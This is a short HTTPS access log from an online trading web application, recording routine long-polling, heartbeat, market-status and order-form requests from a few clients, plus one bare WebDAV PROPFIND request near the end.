[09/Jan/2026:14:20:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939874216 HTTP/1.1" -
[09/Jan/2026:14:20:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939870753 HTTP/1.1" -
[09/Jan/2026:14:20:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939895198 HTTP/1.1" -
[09/Jan/2026:14:20:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939885875 HTTP/1.1" -
[09/Jan/2026:14:20:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939879328 HTTP/1.1" -
[09/Jan/2026:14:20:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939878047 HTTP/1.1" -
[09/Jan/2026:14:20:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939890949 HTTP/1.1" -
[09/Jan/2026:14:20:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939883109 HTTP/1.1" -
[09/Jan/2026:14:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939884434 HTTP/1.1" -
[09/Jan/2026:14:20:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939901193 HTTP/1.1" -
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939896045 HTTP/1.1" -
[09/Jan/2026:14:20:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939888165 HTTP/1.1" -
[09/Jan/2026:14:20:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939889570 HTTP/1.1" -
[09/Jan/2026:14:20:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:14:20:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939907196 HTTP/1.1" -
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 301
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:20:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939901070 HTTP/1.1" -
[09/Jan/2026:14:20:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939893367 HTTP/1.1" -
[09/Jan/2026:14:20:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939894701 HTTP/1.1" -
[09/Jan/2026:14:20:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939913193 HTTP/1.1" -
[09/Jan/2026:14:20:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939906099 HTTP/1.1" -
[09/Jan/2026:14:20:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939898450 HTTP/1.1" -
[09/Jan/2026:14:20:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939899853 HTTP/1.1" -
[09/Jan/2026:14:20:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939919196 HTTP/1.1" -
[09/Jan/2026:14:20:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939911189 HTTP/1.1" -
[09/Jan/2026:14:20:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939903518 HTTP/1.1" -
[09/Jan/2026:14:20:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939905008 HTTP/1.1" -
[09/Jan/2026:14:20:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939925190 HTTP/1.1" -
[09/Jan/2026:14:20:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939916268 HTTP/1.1" -
[09/Jan/2026:14:20:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939908577 HTTP/1.1" -
[09/Jan/2026:14:20:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939910153 HTTP/1.1" -
[09/Jan/2026:14:20:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939921357 HTTP/1.1" -
[09/Jan/2026:14:20:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939931188 HTTP/1.1" -
[09/Jan/2026:14:20:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939913879 HTTP/1.1" -
[09/Jan/2026:14:20:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939915249 HTTP/1.1" -
[09/Jan/2026:14:20:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939926424 HTTP/1.1" -
[09/Jan/2026:14:20:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939918957 HTTP/1.1" -
[09/Jan/2026:14:20:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939920453 HTTP/1.1" -
[09/Jan/2026:14:20:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939937198 HTTP/1.1" -
[09/Jan/2026:14:20:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:20:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939931456 HTTP/1.1" -
[09/Jan/2026:14:20:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:20:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:20:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939924030 HTTP/1.1" -
[09/Jan/2026:14:20:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939925582 HTTP/1.1" -
[09/Jan/2026:14:20:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939943199 HTTP/1.1" -
[09/Jan/2026:14:21:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939936492 HTTP/1.1" -
[09/Jan/2026:14:21:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939929063 HTTP/1.1" -
[09/Jan/2026:14:21:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939930730 HTTP/1.1" -
[09/Jan/2026:14:21:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939949199 HTTP/1.1" -
[09/Jan/2026:14:21:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939941590 HTTP/1.1" -
[09/Jan/2026:14:21:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939934141 HTTP/1.1" -
[09/Jan/2026:14:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939935855 HTTP/1.1" -
[09/Jan/2026:14:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:21:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:21:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939955189 HTTP/1.1" -
[09/Jan/2026:14:21:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939946655 HTTP/1.1" -
[09/Jan/2026:14:21:11 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:14:21:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939939218 HTTP/1.1" -
